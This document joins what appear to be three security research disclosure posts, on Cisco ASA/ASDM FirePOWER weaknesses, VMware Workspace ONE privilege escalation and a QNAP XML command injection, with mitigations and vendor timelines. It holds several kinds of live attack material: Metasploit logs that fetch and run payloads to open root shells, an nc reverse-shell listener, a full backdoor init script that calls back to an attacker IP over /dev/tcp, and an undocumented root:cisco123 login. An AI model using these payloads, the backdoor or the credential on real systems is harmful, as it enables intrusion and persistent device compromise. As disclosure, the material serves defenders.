CVE-2021-1585 is a serious vulnerability. Man-in-the-middle attacks are trivial for well-funded APT. Often they have the network position and the motive. It also does not help that ASDM does not validate the remote server’s SSL certificate and uses HTTP Basic Authentication by default (leading to password disclosure to active MITM). The fact that this vulnerability has been public and unpatched for over a year should be a concern to anyone who administers Cisco ASA using ASDM.
If Cisco did release a patch in a timely manner, it’s unclear how widely the patch would be adopted. Rapid7 scanned the internet for ASDM web portals on June 15, 2022, and examined the versions of ASDM being used in the wild. ASDM 7.18.1 had been released a week prior and less than 0.5% of internet-facing ASDM had adopted 7.18.1. Rapid7 found the most popular version of ASDM to be 7.8.2, a version that had been released in 2017.
Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2021-1585. We have not yet verified this information.
ASDM Version
Count
Cisco ASDM 7.8(2)
3202
Cisco ASDM 7.13(1)
1698
Cisco ASDM 7.15(1)
1597
Cisco ASDM 7.16(1)
1139
Cisco ASDM 7.9(2)
1070
Cisco ASDM 7.14(1)
1009
Cisco ASDM 7.8(1)
891
Cisco ASDM 7.17(1)
868
Cisco ASDM 7.12(2)
756
Cisco ASDM 7.12(1)
745
CVE-2022-20828: Remote and authenticated command injection
CVE-2022-20828 is a remote and authenticated vulnerability that allows an attacker to achieve root access on ASA-X with FirePOWER Services when the FirePOWER module is installed. To better understand what the FirePOWER module is, we reference an image from Cisco’s Cisco ASA FirePOWER Module Quick Start Guide.
The FirePOWER module is the white oval labeled “ASA FirePOWER Module Deep Packet Inspection.” The module is a Linux-based virtual machine (VM) hosted on the ASA. The VM runs Snort to classify traffic passing through the ASA. The FirePOWER module is fully networked and can access both outside and inside of the ASA, making it a fairly ideal location for an attacker to hide in or stage attacks from.
The command injection vulnerability is linked to the Cisco command line interface (CLI) session do command. In the example that follows, command session do \id`is being executed on the Cisco ASA CLI via ASDM (HTTP), and the Linux commandid` is executed within the FirePOWER module.
A reverse shell exploit for this vulnerability is small enough to be tweetable (our favorite kind of exploit). The following curl command can fit in a tweet and will generate a bash reverse shell from the FirePOWER module to 10.12.70.252:1270:
A Metasploit module has been developed to exploit this issue as well.
The final takeaway for this issue should be that exposing ASDM to the internet could be very dangerous for ASA that use the FirePOWER module. While this might be a credentialed attack, as noted previously, ASDM’s default authentication scheme discloses username and passwords to active MITM attackers. ASDM client has also recently logged credentials to file (CVE-2022-20651), is documented to support the credentials <blank>:<blank> by default (See “Start ASDM”, Step 2), and, by default, doesn’t have brute-force protections enabled. All of that makes the following a very real possibility.
In the previous section, we learned about the Cisco FirePOWER module. In this section, it’s important to know how the FirePOWER module is installed. Installation is a three-step process:
Upload and start the FirePOWER boot image.
From the boot image, download and install the FirePOWER installation package.
From the FirePOWER module VM, install the latest updates.
CSCvu90861 concerns itself with a couple of issues associated with the boot image found in step 1. The boot image, once installed and running, can be entered using the Cisco ASA command session sfr console:
As you can see, the user is presented with a very limited CLI that largely only facilitates network troubleshooting and installing the FirePOWER installation package. Credentials are required to access this CLI. These credentials are well-documented across the various versions of the FirePOWER boot image (see “Set Up the ASA SFR Boot Image, Step 1”). However, what isn’t documented is that the credentials root:cisco123 will drop you down into a root bash shell.
The FirePOWER boot image, similar to the normal FirePOWER module, is networked. It can be configured to use DHCP or a static address, but either way, it has access to inside and outside of the ASA (assuming typical wiring). Again, a perfect staging area for an attacker and a pretty good place to hide.
We also discovered a command injection vulnerability associated with the system install command that yields the same result (root access on the boot image).
We wrote two SSH-based exploits that demonstrate exploitation of the boot image. The first is a stand-alone Python script, and the second is a Metasploit module. Exploitation takes about five minutes, so Metasploit output will have to suffice on this one:
albinolobster@ubuntu:~/metasploit-framework$ ./msfconsole
______________________________________
/ it looks like you're trying to run a \
\ module /
--------------------------------------
\
\
__
/ \
| |
@ @
| |
|| |/
|| ||
|\_/|
\___/
=[ metasploit v6.2.5-dev-ed2c64bffd ]
+ -- --=[ 2228 exploits - 1172 auxiliary - 398 post ]
+ -- --=[ 863 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can pivot connections over sessions
started with the ssh_login modules
[*] Starting persistent handler(s)...
msf6 > use exploit/linux/ssh/cisco_asax_firepower_boot_root
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > show options
Module options (exploit/linux/ssh/cisco_asax_firepower_boot_root):
Name Current Setting Required Description
---- --------------- -------- -----------
ENABLE_PASSWORD yes The enable password
IMAGE_PATH yes The path to the image on the ASA (e.g. disk0:/asasfr-5500x-boot-6.2.3-4.img
PASSWORD cisco123 yes The password for authentication
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 22 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME cisco yes The username for authentication
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set IMAGE_PATH disk0:/asasfr-5500x-boot-6.2.3-4.img
IMAGE_PATH => disk0:/asasfr-5500x-boot-6.2.3-4.img
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set USERNAME albinolobster
USERNAME => albinolobster
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set LHOST 10.12.70.252
LHOST => 10.12.70.252
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set RHOST 10.12.70.253
RHOST => 10.12.70.253
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > run
[*] Started reverse TCP handler on 10.12.70.252:4444
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Using URL: http://10.12.70.252:8080/ieXiNV
[*] 10.12.70.253:22 - Attempting to login...
[+] Authenticated with the remote server
[*] Resetting SFR. Sleep for 120 seconds
[*] Booting the image... this will take a few minutes
[*] Configuring DHCP for the image
[*] Dropping to the root shell
[*] wget -qO /tmp/scOKRuCR http://10.12.70.252:8080/ieXiNV;chmod +x /tmp/scOKRuCR;/tmp/scOKRuCR;rm -f /tmp/scOKRuCR
[*] Client 10.12.70.253 (Wget) requested /ieXiNV
[*] Sending payload to 10.12.70.253 (Wget)
[*] Sending stage (989032 bytes) to 10.12.70.253
[*] Meterpreter session 1 opened (10.12.70.252:4444 -> 10.12.70.253:53445) at 2022-07-05 07:37:22 -0700
[+] Done!
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.
meterpreter > shell
Process 2160 created.
Channel 1 created.
uname -a
Linux asasfr 3.10.107sf.cisco-1 #1 SMP PREEMPT Fri Nov 10 17:06:45 UTC 2017 x86_64 GNU/Linux
id
uid=0(root) gid=0(root)
This attack can be executed even if the FirePOWER module is installed. The attacker can simply uninstall the FirePOWER module and start the FirePOWER boot image (although that is potentially quite obvious depending on FirePOWER usage). However, this attack seems more viable as ASA-X ages and Cisco stops releasing new rules/updates for the FirePOWER module. Organizations will likely continue using ASA-X with FirePOWER Services without FirePOWER enabled/installed simply because they are “good” Cisco routers.
Malicious FirePOWER boot image
The interesting thing about vulnerabilities (or non-security issues depending on who you are talking to) affecting the FirePOWER boot image is that the Cisco ASA has no mechanism that prevents users from loading and executing arbitrary images. Cisco removed the hard-coded credentials and command injection in FirePOWER boot images >= 7.0.0, but an attacker can still load and execute an old FirePOWER boot image that still has the vulnerabilities.
In fact, there is nothing preventing a user from booting an image of their own creation. FirePOWER boot images are just bootable Linux ISO. We wrote a tool that will generate a bootable TinyCore ISO that can be executed on the ASA. The ISO, when booted, will spawn a reverse shell out to the attacker and start an SSH server, and it comes with DOOM-ASCII installed (in case you want to play DOOM on an ASA). The generated ISO is installed on the ASA just as any FirePOWER boot image would be:
albinolobster@ubuntu:~/pinchme$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 [email protected][email protected]'s password:
User albinolobster logged in to ciscoasa
Logins over the last 5 days: 42. Last login: 23:41:56 UTC Jun 10 2022 from 10.0.0.28
Failed logins since the last login: 0. Last failed login: 23:41:54 UTC Jun 10 2022 from 10.0.0.28
Type help or '?' for a list of available commands.
ciscoasa> en
Password:
ciscoasa# copy http://10.0.0.28/tinycore-custom.iso disk0:/tinycore-custom.iso
Address or name of remote host [10.0.0.28]?
Source filename [tinycore-custom.iso]?
Destination filename [tinycore-custom.iso]?
Accessing http://10.0.0.28/tinycore-custom.iso...!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Writing file disk0:/tinycore-custom.iso...
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
INFO: No digital signature found
76193792 bytes copied in 18.440 secs (4232988 bytes/sec)
ciscoasa# sw-module module sfr recover configure image disk0:/tinycore-custom.iso
ciscoasa# debug module-boot
debug module-boot enabled at level 1
ciscoasa# sw-module module sfr recover boot
Module sfr will be recovered. This may erase all configuration and all data
on that device and attempt to download/install a new image for it. This may take
several minutes.
Recover module sfr? [confirm]
Recover issued for module sfr.
ciscoasa# Mod-sfr 177> ***
Mod-sfr 178> *** EVENT: Creating the Disk Image...
Mod-sfr 179> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 180> ***
Mod-sfr 181> ***
Mod-sfr 182> *** EVENT: The module is being recovered.
Mod-sfr 183> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 184> ***
Mod-sfr 185> ***
Mod-sfr 186> *** EVENT: Disk Image created successfully.
Mod-sfr 187> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 188> ***
Mod-sfr 189> ***
Mod-sfr 190> *** EVENT: Start Parameters: Image: /mnt/disk0/vm/vm_1.img, ISO: -cdrom /mnt/disk0
Mod-sfr 191> /tinycore-custom.iso, Num CPUs: 3, RAM: 2249MB, Mgmt MAC: 00:FC:BA:44:54:31, CP MA
Mod-sfr 192> C: 00:00:00:02:00:01, HDD: -drive file=/dev/sda,cache=none,if=virtio, Dev Driver:
Mod-sfr 193> vir
Mod-sfr 194> ***
Mod-sfr 195> *** EVENT: Start Parameters Continued: RegEx Shared Mem: 0MB, Cmd Op: r, Shared Me
Mod-sfr 196> m Key: 8061, Shared Mem Size: 16, Log Pipe: /dev/ttyS0_vm1, Sock: /dev/ttyS1_vm1,
Mod-sfr 197> Mem-Path: -mem-path /hugepages
Mod-sfr 198> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 199> ***
Mod-sfr 200> Status: Mapping host 0x2aab37e00000 to VM with size 16777216
Mod-sfr 201> Warning: vlan 0 is not connected to host network
Once the ISO is booted, a reverse shell is sent back to the attacker.
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.21 60579
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux box 3.16.6-tinycore #777 SMP Thu Oct 16 09:42:42 UTC 2014 i686 GNU/Linux
ifconfig
eth0 Link encap:Ethernet HWaddr 00:00:00:02:00:01
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:173 errors:0 dropped:164 overruns:0 frame:0
TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9378 (9.1 KiB) TX bytes:4788 (4.6 KiB)
eth1 Link encap:Ethernet HWaddr 00:FC:BA:44:54:31
inet addr:192.168.1.17 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:14 errors:0 dropped:0 overruns:0 frame:0
TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1482 (1.4 KiB) TX bytes:1269 (1.2 KiB)
eth2 Link encap:Ethernet HWaddr 52:54:00:12:34:56
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:4788 (4.6 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Once again, this presents a potential social engineering issue. An attacker that is able to craft their own malicious boot image needs only to convince an administrator to install it. However, an attacker cannot pre-install the image and provide the ASA to a victim because boot images are removed every time the ASA is rebooted.
Malicious FirePOWER installation package
As mentioned previously, step two of the FirePOWER installation process is to install the FirePOWER installation package. Some FirePOWER modules support two versions of the FirePOWER installation package:
The above code is taken from the FirePOWER boot image 6.2.3. We can see it supports two formats:
Without getting into the weeds on the details, EncryptedContentSignedChksumPkgWrapper is an overly secure format, and Cisco only appears to publish FirePOWER installation packages in that format. However, the boot images also support the insecure ChcksumPkgWrapper format. So, we wrote a tool that takes in a secure FirePOWER installation package, unpackages it, inserts a backdoor, and then repackages into the insecure package format.
The newly generated FirePOWER installation package can then be installed on the ASA as it normally would. And because it contains all the official installation package content, it will appear to be a normal installation to the user. However, this installation will include the following obviously malicious init script, which will try to connect back to an attacker IP every five minutes.
#!/bin/sh
source /etc/rc.d/init.d/functions
PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/sf/bin:/sbin:/usr/sbin"
xploit_start() {
(while true; do sleep 300; /bin/bash -i >& /dev/tcp/10.0.0.28/1270 0>&1; done)&
}
case "\$1" in
'start')
xploit_start
;;
*)
echo "usage $0 start|stop|restart"
esac
This malicious FirePOWER installation package is distributable via social engineering, and it can be used in supply chain attacks. The contents of the installation package survive reboots and upgrades. An attacker need only pre-install the FirePOWER module with a malicious version before providing it to the victim.
Mitigation and detection
Organizations that use Cisco ASA are urged to isolate administrative access as much as possible. That is not limited to simply, “Remove ASDM from the internet.” We’ve demonstrated a few ways malicious packages could reasonably end up on an ASA and none of those mechanisms have been patched. Isolating administrative access from potentially untrustworthy users is important.
Rapid7 has written some YARA rules to help detect exploitation or malicious packages:
February 24, 2022 – Initial disclosure of ASDM packaging issues.
February 24, 2022 – Cisco opens a case (PSIRT-0917052332) and assigns CSCwb05264 and CSCwb05291 for ASDM issues.
February 29, 2022 – Cisco informs Rapid7 they have reached out to engineering. Raises concerns regarding 60-day timeline.
March 15, 2022 – Cisco reports they are actively working on the issue.
March 22, 2022 – Initial disclosure of ASA-X with FirePOWER Services issues and ASDM logging issue.
March 23, 2022 – Cisco acknowledges ASA-X issues and assigns PSIRT-0926201709.
March 25, 2022 – Cisco discusses their views on severity scoring and proposes disclosure dates for ASDM issues.
March 29, 2022 – Rapid7 offers extension on disclosure for both PSIRT issues.
April 7, 2022 – Rapid7 asks for an update.
April 7, 20222 – ASA-X issues moved to Cisco PSIRT member handling ASDM issues.
April 8, 2022 – Cisco indicates Spring4Shell is causing delays.
April 13, 2022 – Rapid7 asks for an update.
April 14, 2022 – Cisco indicates ASA-X issues are as designed. ASDM logging issue is a duplicate. Cisco agrees to new disclosure dates, clarification on six-month timelines, Vegas talks work to push things along!
April 14, 2022 – Rapid7 inquires if Cisco is talking about the same ASA-X model.
April 20, 2022 – Rapid7 proposes a June 20, 2022 disclosure. Again asks for clarification on the ASA-X model.
April 22, 2022 – Cisco reiterates ASA-X issues are not vulnerabilities.
April 22, 2022 – Rapid7 attempts to clarify that the ASA-X issues are vulnerabilities.
April 26, 2022 – Cisco plans partial disclosure of ASDM issues around June 20.
May 06, 2022 – Cisco reiterates no timeline for ASA checking ASDM signature. Cisco again reiterates ASA-X issues are not vulnerabilities.
May 06, 2022 – Rapid7 pushes back again on the ASA-X issues.
May 10, 2022 – Rapid7 asks for clarification on what is being fixed/disclosed on June 20.
May 11, 2022 – Rapid7 asks for clarity on ASA-X timeline and what is currently being considered a vulnerability.
May 18, 2022 – Cisco clarifies what is getting fixed for issues, what will receive CVEs, what is a "hardening effort."
May 18, 2022 – Rapid7 requests CVEs, asks about patch vs disclosure release date discrepancy. Rapid7 again reiterates ASA-X findings are vulnerabilities.
May 20, 2022 – Cisco indicates CVEs will be provided soon, indicates Cisco will now publish fixes and advisories on June 21. Cisco reiterates they do not consider boot image issues vulnerabilities. Cisco asks who to credit.
May 25, 2022 – Rapid7 indicates credit to Jake Baines.
May 25, 2022 – CVE-2022-20828 and CVE-2022-20829 assigned, Cisco says their disclosure date is now June 22.
May 26, 2022 – Rapid7 agrees to June 22 Cisco disclosure, requests if there is a disclosure date for ASA side of ASDM signature fixes.
May 31, 2022 – Cisco indicates ASA side of fixes likely coming August 11.
June 09, 2022 – Rapid7 questions the usefulness of boot image hardening. Observes the ASA has no mechanism to prevent literally any bootable ISO from booting (let alone old Cisco-provided ones).
June 09, 2022 – Cisco confirms boot images are not phased out and does not consider that to be a security issue.
June 09, 2022 – Rapid7 reiterates that the ASA will boot any bootable image and that attackers could distribute malicious boot images / packages and the ASA has no mechanism to prevent that.
June 13, 2022 – Rapid7 finally examines Cisco’s assertions regarding the ASDM log password leak being a duplicate and finds it to be incorrect.
June 15, 2022 – Cisco confirms the password leak in 7.17(1) as originally reported.
June 22, 2022 – Cisco confirms password leak fix will be published in upcoming release.
June 23, 2022 – Cisco publishes advisories and bugs.
June 23, 2022 – Rapid7 asks if CVE-2021-1585 was fixed.
June 23, 2022 – Cisco says it was.
June 23, 2022 – Rapid7 says it wasn’t. Asks Cisco if we should open a new PSIRT ticket.
June 23, 2022 – Cisco indicates current PSIRT thread is fine.
June 23, 2022 – Rapid7 provides details and video.
June 23, 2022 – Cisco acknowledges.
July 05, 2022 – Rapid7 asks for an update on CVE-2021-1585 patch bypass.
July 25, 2022 – Cisco provides Rapid7 with test versions of ASDM.
July 26, 2022 – Rapid7 downloads the test version of ASDM.
August 1, 2022 – Rapid7 lets Cisco know that team time constraints may prevent us from completing testing.
August 1, 2022 – Cisco acknowledges.
August 10, 2022 – Rapid7 updates Cisco on publication timing and reconfirms inability to complete testing of new build.
August 11, 2022 – Cisco communicates to Rapid7 that they have released new Software images for ASA (9.18.2, 9.17.1.13, 9.16.3.19) and ASDM (7.18.1.152) and updated the advisories for CVE-2022-20829 and CVE-2021-1585 to note that the vulnerabilities have been resolved.
August 11, 2022 – Rapid7 acknowledges, notifies Cisco that we are unable to verify the latest round of fixes before materials go to press.
August 11, 2022 – This document is published.
August 11, 2022 – Rapid7 presents materials at Black Hat USA.
August 13, 2022 – Rapid7 presents materials at DEF CON.
Rapid7 customers
Authenticated checks were made available to InsightVM and Nexpose customers for the following CVEs in July 2022 based on Cisco’s security advisories:
Please note: Shortly before this blog’s publication, Cisco released new ASA and ASDM builds and updated their advisories to indicate that remediating CVE-2021-1585 and CVE-2022-20829 requires these newer versions. We are updating our vulnerability checks to reflect that these newer versions contain what Cisco has communicated to be the proper fixes.
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The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user. At the time of this writing, CVE-2022-22954 is one such RCE vulnerability (that notably has a corresponding Metasploit module here) that can be easily chained with one or both of the issues described herein.
Product description
VMWare Workspace ONE Access is a platform that provides organizations with the means to provide their employees fast and easy access to applications they need. VMware Workspace ONE Access was formerly known as VMware Identity Manager.
Impact
These vulnerabilities are local privilege escalation flaws, and by themselves, present little risk in an otherwise secure environment. In both cases, the local user must be horizon for successful exploitation.
That said, it’s important to note that the horizon user runs the externally accessible web application, which has seen several recent vulnerabilities — namely CVE-2022-22954, which, when exploited, allows for remote code execution as the horizon user. Thus, chaining an exploit for CVE-2022-22954 with either of these vulnerabilities can allow a remote attacker to go from no access to root access in two steps.
Credit
These issues were disclosed by VMware on Tuesday, August 2, 2022 within the VMSA-2022-0021 bulletin. In June, Spencer McIntyre of Rapid7 discovered these issues while researching an unrelated vulnerability. They were disclosed in accordance with Rapid7’s vulnerability disclosure policy.
CVE-2022-31660
CVE-2022-31660 arises from the fact that the permissions on the file /opt/vmware/certproxy/bin/cert-proxy.sh are such that the horizon user is both the owner and has access to invoke this file.
To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the horizon user:
Note that, depending on the patch level of the system, the certproxyService.sh script may be located at an alternative path and require a slightly different command:
In both cases, the horizon user is able to invoke the certproxyService.sh script from sudo without a password. This can be verified by executing sudo -n --list. The certproxyService.sh script invokes the systemctl command to restart the service based on its configuration file. The service configuration file, located at /run/systemd/generator.late/vmware-certproxy.service, dispatches to /etc/rc.d/init.d/vmware-certproxy through the ExecStart and ExecStop directives, which in turn executes /opt/vmware/certproxy/bin/cert-proxy.sh.
Proof of concept
To demonstrate this vulnerability, a Metasploit module was written and submitted on GitHub in PR #16854.
With an existing Meterpreter session, no options other than the SESSION need to be specified. Everything else will be automatically determined at runtime. In this scenario, the original Meterpreter session was obtained with the module for CVE-2022-22954, released earlier this year.
[*] Sending stage (40132 bytes) to 192.168.159.98
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > getuid
Server username: horizon
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
SESSION => -1
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Backing up the original file...
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
[*] Triggering the payload...
[*] Sending stage (40132 bytes) to 192.168.250.237
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
[*] Restoring file contents...
[*] Restoring file permissions...
meterpreter > getuid
Server username: root
meterpreter >
CVE-2022-31661
CVE-2022-31660 arises from the fact that the /usr/local/horizon/scripts/getProtectedLogFiles.hzn script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the horizon user, effectively granting them write permissions to all contents.
To demonstrate and exploit this vulnerability, we can execute the following command as the horizon user:
At this point, the horizon user has write access (through ownership) to a variety of scripts that also have the right to invoke using sudo without a password. These scripts can be verified by executing sudo -n --list. A careful attacker would have backed up the ownership information for each file in the directory they intend to target and restored them once they had obtained root-level permissions.
The root cause of this vulnerability is that the exportProtectedLogs subcommand invokes the getProtectedLogs function that will change the ownership information to the TOMCAT_USER, which happens to be horizon.
Users should apply patches released in VMSA-2022-0021 to remediate these vulnerabilities. If they are unable to, users should segment the appliance from remote access, especially if known issues in the web front end like CVE-2022-22954 also remain unpatched.
Note that fixing these vulnerabilities helps shore up internal, local defenses against attacks targeting external interfaces. For practical purposes, these issues are merely internal, local privilege escalation issues, so enterprises running VMWare Workspace One Access installations with current patch levels should schedule updates addressing these issues as part of routine patch cycles.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to vulnerabilities described in VMSA-2022-0021 with authenticated, version-based coverage released on August 4, 2022 (ContentOnly-content-1.1.2606-202208041718).
Disclosure timeline
May 20, 2022 – Issue discovered by Spencer McIntyre of Rapid7
June 28, 2022 – Rapid7 discloses the vulnerability to VMware
June 29, 2022 – VMware acknowledges receiving the details and begins an * investigation
June 30, 2022 – VMware confirms that they have reproduced the issues, requests that Rapid7 not involve CERT for simplicity’s sake
July 1, 2022 – Rapid7 replies, agreeing to leave CERT out
July 22, 2022 – VMware states they will publish an advisory once the issues have been fixed, asks whom to credit
July 22, 2022 – Rapid7 responds confirming credit, inquires about a target date for a fix
August 2, 2022 – VMware discloses these vulnerabilities as part of VMSA-2022-0021 (without alerting Rapid7 of pending disclosure)
August 2, 2022 – Metasploit module submitted on GitHub in PR #16854
August 5, 2022 – This disclosure blog
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CVE-2020-2509 was added to CISA’s Known Exploited Vulnerabilities Catalog in April 2022, and it was listed as one of the “Additional Routinely Exploited Vulnerabilities in 2021” in CISA’s 2021 Top Routinely Exploited Vulnerabilities alert. However, CVE-2020-2509 has no public exploit, and no other organizations have publicly confirmed exploitation in the wild.
CVE-2020-2509 is allegedly an unauthenticated remote command injection vulnerability affecting QNAP Network Attached Storage (NAS) devices using the QTS operating system. The vulnerability was discovered by SAM and publicly disclosed on March 31, 2021. Two weeks later, QNAP issued a CVE and an advisory.
Neither organization provided a CVSS vector to describe the vulnerability. QNAP’s advisory doesn’t even indicate the vulnerable component. SAM’s disclosure says they found the vulnerability when they “fuzzed” the web server’s CGI scripts (which is not generally the way you discover command injection vulnerabilities, but I digress). SAM published a proof-of-concept video that allegedly demonstrates exploitation of the vulnerability, although it doesn’t appear to be a typical straightforward command injection. The recorded exploit downloads BusyBox to establish a reverse shell, and it appears to make multiple requests to accomplish this. That’s many more moving parts than a typical command injection exploit. Regardless, beyond affected versions, there are essentially no usable details for defender or attackers in either disclosure.
Given the ridiculous amount of internet-facing QNAP NAS (350,000+), seemingly endless ransomware attacks on the systems (Qlocker, Deadbolt, and Checkmate), and the mystery surrounding alleged exploitation in the wild of CVE-2020-2509, we decided to find out exactly what CVE-2020-2509 is. Instead, we found the below, which may be an entirely new vulnerability.
Poisoned XML command injection (CVE-2022-XXXX)
The video demonstrates exploitation of an unauthenticated and remote command injection vulnerability on a QNAP TS-230 running QTS 4.5.1.1480 (reportedly the last version affected by CVE-2020-2509). We were unable to obtain the first patched version, QTS 4.5.1.1495, but we were able to confirm this vulnerability was patched in QTS 4.5.1.1540. However, we don’t think this is CVE-2020-2509. The exploit in the video requires the attacker be a man-in-the-middle or have performed a DNS hijack of update.qnap.com. In the video, our lab network’s Mikrotik router has a malicious static DNS entry for update.qnap.com.
SAM and QNAP’s disclosures didn’t mention any type of man-in-the-middle or DNS hijacks. But neither disclosure ruled it out either. CVSS vectors are great for this sort of thing. If either organization had published a vector with an Attack Complexity of high, we’d know this “new” vulnerability is CVE-2020-2509. If they’d published a vector with Attack Complexity of low, we’d know this “new” vulnerability is not CVE-2020-2509. The lack of a vector leaves us unsure. Only CISA’s claim of widespread exploitation leads us to believe this is not is CVE-2020-2509. However, this “new” vulnerability is still a high-severity issue. It could reasonably be scored as CVSSv3 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). While the issue was patched 15 to 20 months ago (patches for CVE-2021-2509 were released in November 2020 and April 2021), there are still thousands of internet-facing QNAP devices that remain unpatched against this “new” issue. As such, we are going to describe the issue in more detail.
Exploitation and patch
The “new” vulnerability can be broken down into two parts:
A remote and unauthenticated attacker can force a QNAP device to make an HTTP request to update.qnap.com, without using SSL, in order to download an XML file. Content from the downloaded XML file is passed to a system call without any sanitization.
Both of these issues can be found in the QNAP’s web server cgi-bin executable authLogin.cgi, but the behavior is triggered by a request to /cgi-bin/qnapmsg.cgi. Below is decompiled code from authLogin.cgi that highlights the use of HTTP to fetch a file.
Using wget, the QNAP device will download a language-specific XML file such as http://update.qnap.com/loginad/qnapmsg_eng.xml, where eng can be a variety of different values (cze, dan, ger, spa, fre, ita, etc.). When the XML has been downloaded, the device then parses the XML file. When the parser encounters <img> tags, it will attempt to download the associated image using wget.
The <img> value is added to a wget command without any type of sanitization, which is a very obvious command injection issue.
The XML, if downloaded straight from QNAP, looks like the following (note that it appears to be part of an advertisement system built into the device):
Because of the command injection issue, a malicious attacker can get a reverse shell by providing an XML file that looks like the following. The command injection is performed with backticks, and the actual payload (a bash reverse shell using /dev/tcp) is base64 encoded because / is a disallowed character.
An attacker can force a QNAP device to download the XML file by sending the device an HTTP request similar to http://device_ip/cgi-bin/qnapmsg.cgi?lang=eng. Here, again, eng can be replaced by a variety of languages.
Obviously, the number one challenge to exploit this issue is getting the HTTP requests for update.qnap.com routed to an attacker-controlled system.
Becoming a man-in-the-middle is not easy for a normal attacker. However, APT groups have consistently demonstrated that man-in-the-middle attacks are a part of normal operations. VPNFilter, FLYING PIG, and the Iranian Digator incident are all historical examples of APT attacking (or potentially attacking) via man-in-the-middle. An actor that has control of any router between the QNAP and update.qnap.com can inject the malicious XML we provided above. This, in turn, allows them to execute arbitrary code on the QNAP device.
The other major attack vector is via DNS hijacking. For this vulnerability, the most likely DNS hijack attacks that don’t require man-in-the-middling are router DNS hijack or third-party DNS server compromise. In the case of a router DNS hijack, the attacker exploits a router and instructs it to tell all connected devices to use a malicious DNS server or malicious static routes (similar to our lab setup). Third-party DNS server compromise is more interesting because of its ability to scale. Both Mandiant and Talos have observed this type of DNS hijack in the wild. When a third-party DNS server is compromised, an attacker is able to introduce malicious entries to the DNS server.
